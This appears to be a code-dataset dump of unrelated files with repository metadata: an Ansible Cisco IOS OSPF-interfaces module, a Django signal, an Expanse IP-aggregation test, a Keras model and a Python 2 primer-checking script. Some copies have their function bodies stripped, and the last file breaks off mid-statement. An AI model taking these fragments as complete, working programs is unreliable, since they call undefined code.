suboptions: cost: description: Redundant path cost improvement required to peer type: dict suboptions: percent: description: Relative incremental path cost. Please refer vendor documentation of Valid values. type: int threshold: description: Absolute incremental path cost. Please refer vendor documentation of Valid values. type: int link_metrics: description: Redundant path cost improvement required to peer type: dict suboptions: set: description: Enable link-metrics type: bool cost_threshold: description: Minimum link cost threshold. Please refer vendor documentation of Valid values. type: int mtu_ignore: description: Ignores the MTU in DBD packets type: bool multi_area: description: - Set the OSPF multi-area ID - Valid only with IP OSPF config type: dict suboptions: id: description: - OSPF multi-area ID as a decimal value. Please refer vendor documentation of Valid values. - OSPF multi-area ID in IP address format(e.g. A.B.C.D) type: int cost: description: Interface cost type: int neighbor: description: - OSPF neighbor link-local IPv6 address (X:X:X:X::X) - Valid only with IPv6 OSPF config type: dict suboptions: address: description: Neighbor link-local IPv6 address type: str cost: description: OSPF cost for point-to-multipoint neighbor type: int database_filter: description: Filter OSPF LSA during synchronization and flooding for point-to-multipoint neighbor type: bool poll_interval: description: OSPF dead-router polling interval type: int priority: description: OSPF priority of non-broadcast neighbor type: int network: description: Network type type: dict suboptions: broadcast: description: Specify OSPF broadcast multi-access network type: bool manet: description: - Specify MANET OSPF interface type - Valid only with IPv6 OSPF config type: bool non_broadcast: description: Specify OSPF NBMA network type: bool point_to_multipoint: description: Specify OSPF point-to-multipoint network type: bool point_to_point: description: Specify OSPF point-to-point network type: bool prefix_suppression: description: Enable/Disable OSPF prefix suppression type: bool priority: description: Router priority. Please refer vendor documentation of Valid values. type: int resync_timeout: description: Interval after which adjacency is reset if oob-resync is not started. Please refer vendor documentation of Valid values. type: int retransmit_interval: description: Time between retransmitting lost link state advertisements. Please refer vendor documentation of Valid values. type: int shutdown: description: Set OSPF protocol's state to disable under current interface type: bool transmit_delay: description: Link state transmit delay. Please refer vendor documentation of Valid values. type: int ttl_security: description: - TTL security check - Valid only with IPV4 OSPF config type: dict suboptions: set: description: Enable TTL Security on all interfaces type: bool hops: description: - Maximum number of IP hops allowed - Please refer vendor documentation of Valid values. type: int running_config: description: - This option is used only with state I(parsed). - The value of this option should be the output received from the IOS device by executing the command B(sh running-config | section ^interface). - The state I(parsed) reads the configuration from C(running_config) option and transforms it into Ansible structured data as per the resource module's argspec and the value is then returned in the I(parsed) key within the result. type: str state: description: - The state the configuration should be left in - The states I(rendered), I(gathered) and I(parsed) does not perform any change on the device. - The state I(rendered) will transform the configuration in C(config) option to platform specific CLI commands which will be returned in the I(rendered) key within the result. For state I(rendered) active connection to remote host is not required. - The state I(gathered) will fetch the running configuration from device and transform it into structured data in the format as per the resource module argspec and the value is returned in the I(gathered) key within the result. - The state I(parsed) reads the configuration from C(running_config) option and transforms it into JSON format as per the resource module parameters and the value is returned in the I(parsed) key within the result. The value of C(running_config) option should be the same format as the output of command I(show running-config | include ip route|ipv6 route) executed on device. For state I(parsed) active connection to remote host is not required. type: str choices: - merged - replaced - overridden - deleted - gathered - rendered - parsed default: merged """ EXAMPLES = """ # Using deleted # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 - name: Delete provided OSPF Interface config cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 state: deleted # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/1", # "no ipv6 ospf 55 area 105", # "no ipv6 ospf adjacency stagger disable", # "no ipv6 ospf priority 20", # "no ipv6 ospf transmit-delay 30" # ] # After state: # ------------- # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 # Using deleted without any config passed (NOTE: This will delete all OSPF Interfaces configuration from device) # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 - name: Delete all OSPF config from interfaces cisco.ios.ios_ospf_interfaces: state: deleted # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/2", # "no ip ospf 10 area 20", # "no ip ospf adjacency stagger disable", # "no ip ospf cost 30", # "no ip ospf priority 40", # "no ip ospf ttl-security hops 50", # "interface GigabitEthernet0/1", # "no ipv6 ospf 55 area 105", # "no ipv6 ospf adjacency stagger disable", # "no ipv6 ospf priority 20", # "no ipv6 ospf transmit-delay 30" # ] # After state: # ------------- # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # interface GigabitEthernet0/2 # Using merged # Before state: # ------------- # # router-ios#sh running-config | section ^interface # router-ios# - name: Merge provided OSPF Interfaces configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 address_family: - afi: ipv4 process: id: 10 area_id: 30 adjacency: true bfd: true cost: interface_cost: 5 dead_interval: time: 5 demand_circuit: ignore: true network: broadcast: true priority: 25 resync_timeout: 10 shutdown: true ttl_security: hops: 50 - afi: ipv6 process: id: 35 area_id: 45 adjacency: true database_filter: true manet: link_metrics: cost_threshold: 10 priority: 55 transmit_delay: 45 state: merged # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/1", # "ip ospf 10 area 30", # "ip ospf adjacency stagger disable", # "ip ospf bfd", # "ip ospf cost 5", # "ip ospf dead-interval 5", # "ip ospf demand-circuit ignore", # "ip ospf network broadcast", # "ip ospf priority 25", # "ip ospf resync-timeout 10", # "ip ospf shutdown", # "ip ospf ttl-security hops 50", # "ipv6 ospf 35 area 45", # "ipv6 ospf adjacency stagger disable", # "ipv6 ospf database-filter all out", # "ipv6 ospf manet peering link-metrics 10", # "ipv6 ospf priority 55", # "ipv6 ospf transmit-delay 45" # ] # After state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 # Using overridden # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 - name: Override provided OSPF Interfaces configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 address_family: - afi: ipv6 process: id: 55 area_id: 105 adjacency: true priority: 20 transmit_delay: 30 - name: GigabitEthernet0/2 address_family: - afi: ipv4 process: id: 10 area_id: 20 adjacency: true cost: interface_cost: 30 priority: 40 ttl_security: hops: 50 state: overridden # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/2", # "ip ospf 10 area 20", # "ip ospf adjacency stagger disable", # "ip ospf cost 30", # "ip ospf priority 40", # "ip ospf ttl-security hops 50", # "interface GigabitEthernet0/1", # "ipv6 ospf 55 area 105", # "no ipv6 ospf database-filter all out", # "no ipv6 ospf manet peering link-metrics 10", # "ipv6 ospf priority 20", # "ipv6 ospf transmit-delay 30", # "no ip ospf 10 area 30", # "no ip ospf adjacency stagger disable", # "no ip ospf bfd", # "no ip ospf cost 5", # "no ip ospf dead-interval 5", # "no ip ospf demand-circuit ignore", # "no ip ospf network broadcast", # "no ip ospf priority 25", # "no ip ospf resync-timeout 10", # "no ip ospf shutdown", # "no ip ospf ttl-security hops 50" # ] # After state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 # Using replaced # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 - name: Replaced provided OSPF Interfaces configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/2 address_family: - afi: ipv6 process: id: 55 area_id: 105 adjacency: true priority: 20 transmit_delay: 30 state: replaced # Commands Fired: # --------------- # "commands": [ # "interface GigabitEthernet0/2", # "ipv6 ospf 55 area 105", # "ipv6 ospf adjacency stagger disable", # "ipv6 ospf priority 20", # "ipv6 ospf transmit-delay 30" # ] # After state: # ------------- # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # Using Gathered # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 - name: Gather OSPF Interfaces provided configurations cisco.ios.ios_ospf_interfaces: config: state: gathered # Module Execution Result: # ------------------------ # # "gathered": [ # { # "name": "GigabitEthernet0/2" # }, # { # "address_family": [ # { # "adjacency": true, # "afi": "ipv4", # "bfd": true, # "cost": { # "interface_cost": 5 # }, # "dead_interval": { # "time": 5 # }, # "demand_circuit": { # "ignore": true # }, # "network": { # "broadcast": true # }, # "priority": 25, # "process": { # "area_id": "30", # "id": 10 # }, # "resync_timeout": 10, # "shutdown": true, # "ttl_security": { # "hops": 50 # } # }, # { # "adjacency": true, # "afi": "ipv6", # "database_filter": true, # "manet": { # "link_metrics": { # "cost_threshold": 10 # } # }, # "priority": 55, # "process": { # "area_id": "45", # "id": 35 # }, # "transmit_delay": 45 # } # ], # "name": "GigabitEthernet0/1" # }, # { # "name": "GigabitEthernet0/0" # } # ] # After state: # ------------ # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 # Using Rendered - name: Render the commands for provided configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 address_family: - afi: ipv4 process: id: 10 area_id: 30 adjacency: true bfd: true cost: interface_cost: 5 dead_interval: time: 5 demand_circuit: ignore: true network: broadcast: true priority: 25 resync_timeout: 10 shutdown: true ttl_security: hops: 50 - afi: ipv6 process: id: 35 area_id: 45 adjacency: true database_filter: true manet: link_metrics: cost_threshold: 10 priority: 55 transmit_delay: 45 state: rendered # Module Execution Result: # ------------------------ # # "rendered": [ # "interface GigabitEthernet0/1", # "ip ospf 10 area 30", # "ip ospf adjacency stagger disable", # "ip ospf bfd", # "ip ospf cost 5", # "ip ospf dead-interval 5", # "ip ospf demand-circuit ignore", # "ip ospf network broadcast", # "ip ospf priority 25", # "ip ospf resync-timeout 10", # "ip ospf shutdown", # "ip ospf ttl-security hops 50", # "ipv6 ospf 35 area 45", # "ipv6 ospf adjacency stagger disable", # "ipv6 ospf database-filter all out", # "ipv6 ospf manet peering link-metrics 10", # "ipv6 ospf priority 55", # "ipv6 ospf transmit-delay 45" # ] # Using Parsed # File: parsed.cfg # ---------------- # # interface GigabitEthernet0/2 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/0 - name: Parse the provided configuration with the existing running configuration cisco.ios.ios_ospf_interfaces: running_config: "{{ lookup('file', 'parsed.cfg') }}" state: parsed # Module Execution Result: # ------------------------ # # "parsed": [ # }, # { # "name": "GigabitEthernet0/2" # }, # { # "address_family": [ # { # "adjacency": true, # "afi": "ipv4", # "bfd": true, # "cost": { # "interface_cost": 5 # }, # "dead_interval": { # "time": 5 # }, # "demand_circuit": { # "ignore": true # }, # "network": { # "broadcast": true # }, # "priority": 25, # "process": { # "area_id": "30", # "id": 10 # }, # "resync_timeout": 10, # "shutdown": true, # "ttl_security": { # "hops": 50 # } # }, # { # "adjacency": true, # "afi": "ipv6", # "database_filter": true, # "manet": { # "link_metrics": { # "cost_threshold": 10 # } # }, # "priority": 55, # "process": { # "area_id": "45", # "id": 35 # }, # "transmit_delay": 45 # } # ], # "name": "GigabitEthernet0/1" # }, # { # "name": "GigabitEthernet0/0" # } # ] """ RETURN = """ before: description: The configuration prior to the model invocation. returned: always sample: > The configuration returned will always be in the same format of the parameters above. type: dict after: description: The resulting configuration model invocation. returned: when changed sample: > The configuration returned will always be in the same format of the parameters above. type: dict commands: description: The set of commands pushed to the remote device. returned: always type: list sample: ['interface GigabitEthernet0/1', 'ip ospf 10 area 30', 'ip ospf cost 5', 'ip ospf priority 25'] """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.cisco.ios.plugins.module_utils.network.ios.argspec.ospf_interfaces.ospf_interfaces import ( Ospf_InterfacesArgs, ) from ansible_collections.cisco.ios.plugins.module_utils.network.ios.config.ospf_interfaces.ospf_interfaces import ( Ospf_Interfaces, ) def main(): """ Main entry point for module execution :returns: the result form module invocation """ required_if = [ ("state", "merged", ("config",)), ("state", "replaced", ("config",)), ("state", "overridden", ("config",)), ("state", "rendered", ("config",)), ("state", "parsed", ("running_config",)), ] mutually_exclusive = [("config", "running_config")] module = AnsibleModule( argument_spec=Ospf_InterfacesArgs.argument_spec, required_if=required_if, mutually_exclusive=mutually_exclusive, supports_check_mode=True, ) result = Ospf_Interfaces(module).execute_module() module.exit_json(**result) if __name__ == "__main__": main()

0

0eae48e5f8713faeacc100a4a7e5283ac3ec081e

99

py

Python

accounts/signals.py

rijalanupraj/halkapan

a1b5964034a4086a890f839ba4d3d2885a54235f

[ "MIT" ]

null

accounts/signals.py

rijalanupraj/halkapan

a1b5964034a4086a890f839ba4d3d2885a54235f

[ "MIT" ]

null

accounts/signals.py

rijalanupraj/halkapan

a1b5964034a4086a890f839ba4d3d2885a54235f

[ "MIT" ]

null

from django.dispatch import Signal user_logged_in = Signal(providing_args=['instance', 'request'])

33

63

0.79798

from django.dispatch import Signal user_logged_in = Signal(providing_args=['instance', 'request'])

0

ecbb189108b2c5bba0a3e02d2c409f2c25703ac8

1,111

py

Python

Packs/ExpanseV2/Scripts/ExpanseAggregateAttributionIP/ExpanseAggregateAttributionIP_test.py

diCagri/content

c532c50b213e6dddb8ae6a378d6d09198e08fc9f

[ "MIT" ]

799

2016-08-02T06:43:14.000Z

2022-03-31T11:10:11.000Z

Packs/ExpanseV2/Scripts/ExpanseAggregateAttributionIP/ExpanseAggregateAttributionIP_test.py

diCagri/content

c532c50b213e6dddb8ae6a378d6d09198e08fc9f

[ "MIT" ]

9,317

2016-08-07T19:00:51.000Z

2022-03-31T21:56:04.000Z

Packs/ExpanseV2/Scripts/ExpanseAggregateAttributionIP/ExpanseAggregateAttributionIP_test.py

diCagri/content

c532c50b213e6dddb8ae6a378d6d09198e08fc9f

[ "MIT" ]

1,297

2016-08-04T13:59:00.000Z

2022-03-31T23:43:06.000Z

import demistomock as demisto # noqa import ExpanseAggregateAttributionIP INPUT = [ {"src": "1.1.1.1", "count": 2}, {"src_ip": "8.8.8.8"}, {"src": "8.8.8.8", "count": 10} ] CURRENT = [ {"ip": "1.1.1.1", "sightings": 1, "internal": False} ] RESULT = [ {"ip": "1.1.1.1", "sightings": 3, "internal": False}, {"ip": "8.8.8.8", "sightings": 11, "internal": True} ] def test_aggregate_command(): """ Given: - previous list aggregated IPs - new data source with IP/sightings information - merged aggregated data with new information - list of internal ip networks When - merging new sightings to existing aggregated data Then - data is merged - expected output is returned """ result = ExpanseAggregateAttributionIP.aggregate_command({ 'input': INPUT, 'current': CURRENT, 'internal_ip_networks': "192.168.0.0/16,10.0.0.0/8,8.0.0.0/8" }) assert result.outputs_prefix == "Expanse.AttributionIP" assert result.outputs_key_field == "ip" assert result.outputs == RESULT

25.25

69

0.60216

import demistomock as demisto # noqa import ExpanseAggregateAttributionIP INPUT = [ {"src": "1.1.1.1", "count": 2}, {"src_ip": "8.8.8.8"}, {"src": "8.8.8.8", "count": 10} ] CURRENT = [ {"ip": "1.1.1.1", "sightings": 1, "internal": False} ] RESULT = [ {"ip": "1.1.1.1", "sightings": 3, "internal": False}, {"ip": "8.8.8.8", "sightings": 11, "internal": True} ] def test_aggregate_command(): """ Given: - previous list aggregated IPs - new data source with IP/sightings information - merged aggregated data with new information - list of internal ip networks When - merging new sightings to existing aggregated data Then - data is merged - expected output is returned """ result = ExpanseAggregateAttributionIP.aggregate_command({ 'input': INPUT, 'current': CURRENT, 'internal_ip_networks': "192.168.0.0/16,10.0.0.0/8,8.0.0.0/8" }) assert result.outputs_prefix == "Expanse.AttributionIP" assert result.outputs_key_field == "ip" assert result.outputs == RESULT

0

9272b186aad2acbc4661815d4cf0bc2a2b4fbddf

2,065

py

Python

models/regression/DeepConvLSTM_2.py

Neronjust2017/keras-project

919e67e10b0bf518eb9cc63df68c79fe2bb71b36

[ "Apache-2.0" ]

2

2020-07-07T12:29:02.000Z

2020-09-16T15:33:02.000Z

models/regression/DeepConvLSTM_2.py

Neronjust2017/keras-project

919e67e10b0bf518eb9cc63df68c79fe2bb71b36

[ "Apache-2.0" ]

1

2020-10-04T12:08:27.000Z

2020-10-05T05:05:39.000Z

models/regression/DeepConvLSTM_2.py

Neronjust2017/keras-project

919e67e10b0bf518eb9cc63df68c79fe2bb71b36

[ "Apache-2.0" ]

null

import tensorflow.keras as keras import tensorflow as tf

31.769231

77

0.48862

import tensorflow.keras as keras import tensorflow as tf class DeepConvLSTM2(keras.Model): def __init__(self, input_dim, output_dim): super(DeepConvLSTM2, self).__init__() self.samples = input_dim[2] self.channels = input_dim[0] self.rows = 1 self.cols = input_dim[1] self.conv1 = keras.layers.Conv2D( input_shape=(self.channels, self.rows, self.cols), filters=64, kernel_size=5, padding='same', strides=1 ) self.conv2 = keras.layers.Conv2D( filters=128, kernel_size=5, padding='same', strides=1 ) self.conv3 = keras.layers.Conv2D( filters=256, kernel_size=5, padding='same', strides=1 ) self.conv4 = keras.layers.Conv2D( filters=512, kernel_size=5, padding='same', strides=1 ) self.relu = keras.layers.Activation('relu') self.lstm1 = keras.layers.LSTM(128, return_sequences = True, dropout = 0.5, recurrent_dropout = 0.5) self.lstm2 = keras.layers.LSTM(128, dropout=0.5, recurrent_dropout=0.5) self.dense = keras.layers.Dense(output_dim, activation='sigmoid') def call(self, x): #x.reshape(-1, self.channels, self.rows, self.cols) x = tf.reshape(x,[self.samples, self.channels, self.rows, self.cols]) x = self.conv1(x) x = self.relu(x) x = self.conv2(x) x = self.relu(x) x = self.conv3(x) x = self.relu(x) x = self.conv4(x) x = self.relu(x) x = tf.reshape(x, [self.samples, self.channels, -1]) x = self.lstm1(x) x = self.relu(x) x = self.lstm2(x) x = self.relu(x) x = self.dense(x) return x

1,920

12

76

90e37972b36a35b93996ac8f5e5e0e05f5d6e812

31

py

Python

myUnittest/case_way/__init__.py

ChenJiR/MyPyUnittest

77ecde87218a0ca7482e4d1dfebd403e2325165a

[ "MIT" ]

null

myUnittest/case_way/__init__.py

ChenJiR/MyPyUnittest

77ecde87218a0ca7482e4d1dfebd403e2325165a

[ "MIT" ]

null

myUnittest/case_way/__init__.py

ChenJiR/MyPyUnittest

77ecde87218a0ca7482e4d1dfebd403e2325165a

[ "MIT" ]

null

from .case_decorators import *

15.5

30

0.806452

from .case_decorators import *

0

bad8917af68ec43ce71ed92928cbf6cfa3debbb5

10,197

py

Python

primer_evauation.py

eastgenomics/primer_designer

5332d82a4bf1079c985976a9b7b6a04f9573b38a

[ "MIT" ]

1

2021-03-24T22:33:03.000Z

primer_evauation.py

eastgenomics/primer_designer

5332d82a4bf1079c985976a9b7b6a04f9573b38a

[ "MIT" ]

1

2021-03-24T22:33:11.000Z

primer_evauation.py

eastgenomics/primer_designer

5332d82a4bf1079c985976a9b7b6a04f9573b38a

[ "MIT" ]

null

#!/usr/bin/python # # # # # Kim Brugger (21 Oct 2015), contact: kbr@brugger.dk import sys import os import pprint pp = pprint.PrettyPrinter(indent=4) import re FLANK = 500 NR_PRIMERS = 4 ALLOWED_MISMATCHES = 4 MAX_MAPPINGS = 5 MAX_PRODUCT_SIZE = 800 MIN_PRODUCT_SIZE = 120 smalt_file = '8:96259936.smalt' if ( sys.argv >= 1 ): smalt_file = sys.argv[1] region = smalt_file.rstrip(".smalt") (chromo, pos) = region.split(":") (start_pos, end_pos) = map(int, pos.split("-")) primer_data = check_primers( smalt_file ) #pp.pprint( primer_data ) pcr_products = digital_PCR( primer_data ) pcr_products = check_PCR_products( pcr_products, chromo, start_pos, end_pos ) fwd_primer, rev_primer = pick_best_primers(primer_data, chromo, start_pos, end_pos) print " Picked Primer Pair ( %s, %s )" % ( fwd_primer, rev_primer) print "SMALT FILE :: %s " % smalt_file

29.386167

149

0.521624

#!/usr/bin/python # # # # # Kim Brugger (21 Oct 2015), contact: kbr@brugger.dk import sys import os import pprint pp = pprint.PrettyPrinter(indent=4) import re FLANK = 500 NR_PRIMERS = 4 ALLOWED_MISMATCHES = 4 MAX_MAPPINGS = 5 MAX_PRODUCT_SIZE = 800 MIN_PRODUCT_SIZE = 120 def check_primers( smalt_results ): id_word = "FULLSEQ" match = {} smalt_report = [] query_region = [] res = dict() with open(smalt_results, 'rU') as smalt_output: for line in smalt_output: if (line.startswith("@")): continue line = line.rstrip("\n") fields = line.split("\t") # pp.pprint( fields ) match[ 'name' ] = fields[ 0 ] #mapping_score match[ 'chromosome' ] = fields[ 2 ] #chromosome match[ 'pos' ] = fields[ 3 ] #mapping position match[ 'length' ] = len(fields[ 9 ]) #mapping_score match[ 'length_matched' ] = int(re.sub("AS:i:", '', fields[ 12 ])) #mapping_length match_id = fields[ 0 ] match_chr = fields[ 2 ] match_pos = fields[ 3 ] match_length = len(fields[ 9 ]) match_mathes = int(re.sub("AS:i:", '', fields[ 12 ])) if ( match_id not in res ): res[ match_id ] = dict() res[ match_id ][ 'CHR' ] = [] res[ match_id ][ 'POS' ] = [] if (match['length'] <= match['length_matched'] + ALLOWED_MISMATCHES): res[ match_id ][ 'CHR' ].append( match_chr ) res[ match_id ][ 'POS' ].append( match_pos ) # smalt_report.append() for primer in res.keys() : if (primer == 'FULLSEQ'): continue res[ primer ]['MAPPING_SUMMARY'] = 'unique mapping' nr_of_chromosomes = len(set(res[ primer ][ 'CHR' ])) nr_of_mappings = len( res[ primer ][ 'POS' ]) if (nr_of_mappings > 1 and nr_of_mappings <= MAX_MAPPINGS ): res[ primer ]['MAPPING_SUMMARY'] = '%d mappings' % nr_of_mappings res[ primer ][ 'MAPPING_SUMMARY' ] += " to chromosomes: " + ",".join(set ( res[ primer ][ 'CHR' ] )) elif (nr_of_mappings >= MAX_MAPPINGS ): res[ primer ]['MAPPING_SUMMARY'] = '%d mappings' % nr_of_mappings res[ primer ][ 'MAPPING_SUMMARY' ] += " on %d chromosomes" % nr_of_chromosomes # pp.pprint( smalt_report) # pp.pprint( res ) return res def digital_PCR( primer_mappings ): # pp.pprint( primer_mappings ) primer_names = sorted(primer_mappings.keys()) nr_primer_names = len( primer_names ) mappings = {} products = {} for i in range(0, nr_primer_names): primer1 = primer_names[ i ] if ( primer1 == 'FULLSEQ'): continue if ( not re.search(r'LEFT', primer1 )): continue mappings[ primer1 ] = {} products[ primer1 ] = {} for j in range(0, nr_primer_names): primer2 = primer_names[ j ] if ( primer2 == 'FULLSEQ'): continue if ( not re.search(r'RIGHT', primer2 )): continue mappings[ primer1 ][ primer2 ] = [] products[ primer1 ][ primer2 ] = [] # print " -- %s vs %s" % (primer1, primer2) for chr_index1 in range(0, len(primer_mappings[ primer1 ][ 'CHR' ])): for chr_index2 in range(0, len(primer_mappings[ primer2 ][ 'CHR' ])): chr1 = primer_mappings[ primer1 ][ 'CHR' ][ chr_index1 ] chr2 = primer_mappings[ primer2 ][ 'CHR' ][ chr_index2 ] if ( chr1 != chr2 ): continue pos1 = int( primer_mappings[ primer1 ][ 'POS' ][ chr_index1 ] ) pos2 = int( primer_mappings[ primer2 ][ 'POS' ][ chr_index2 ] ) product_size = ( pos2 - pos1 ) # if ( product_size > MAX_PRODUCT_SIZE ): # continue # if ( product_size < 0 or # product_size > MAX_PRODUCT_SIZE ): # continue # if ( product_size < MIN_PRODUCT_SIZE ): # continue # print " %s:%d vs %s:%d ==> %d" % ( chr1, pos1, chr2, pos2, product_size ) mappings[ primer1 ][ primer2 ].append( product_size ) products[ primer1 ][ primer2 ].append( {'chr' : chr1, 'start_pos': pos1, 'end_pos': pos2, 'size': product_size} ) # print "\n" # pp.pprint( products ) return products exit() longest_product = 0 longest_product_primer_pairs = () for primer1 in mappings.keys(): for primer2 in mappings[ primer1 ].keys(): if ( len( mappings[ primer1 ][ primer2 ]) == 0 ): print "No usable pcr product from %s and %s" % ( primer1, primer2 ) continue elif ( len( mappings[ primer1 ][ primer2 ]) > 1 ): print "multiple pcr products from %s and %s" % ( primer1, primer2 ) continue print "%s + %s > %s bp " % (primer1, primer2, mappings[ primer1 ][ primer2 ][ 0 ]) if ( mappings[ primer1 ][ primer2 ][0] > longest_product ): longest_product = mappings[ primer1 ][ primer2 ][ 0 ] longest_product_primer_pairs = ( primer1, primer2 ) # print "%s > %s (post)" % (longest_product, mappings[ primer1 ][ primer2 ][ 0 ]) print "\n\nLongest product (%d bp) comes from the %s and %s primer pair" % (longest_product, longest_product_primer_pairs[0], longest_product_primer_pairs[1]) def check_PCR_products(products, target_chr, target_start, target_end): # pp.pprint( products ) failed_primer_pairs = [] for primer1 in products: for primer2 in products[ primer1 ]: good_products = [] bad_products = [] for product in products[ primer1 ][ primer2 ]: # pp.pprint( product ) if ( product['end_pos'] - product['start_pos'] + 1 < MIN_PRODUCT_SIZE or product['end_pos'] - product['start_pos'] + 1 > MAX_PRODUCT_SIZE): # print "Wrong product size: %d " % ( product['end_pos'] - product['start_pos'] + 1 ) pass # product = {} elif ( target_chr != product[ 'chr' ] ): print " mis priming on diff chromosome " # products[ primer1 ][ primer2 ] = [] bad_products.append( product ) elif( target_start < product['start_pos'] or target_end > product['end_pos'] ): print "%s > %s or %s < %s " % ( target_start, product['start_pos'], target_end, product['end_pos'] ) print "wrong region ( %s & %s )" % ( primer1, primer2) bad_products.append( product ) # products[ primer1 ][ primer2 ] = [] else: good_products.append( product ) products[ primer1 ][ primer2 ] = { 'good': good_products, 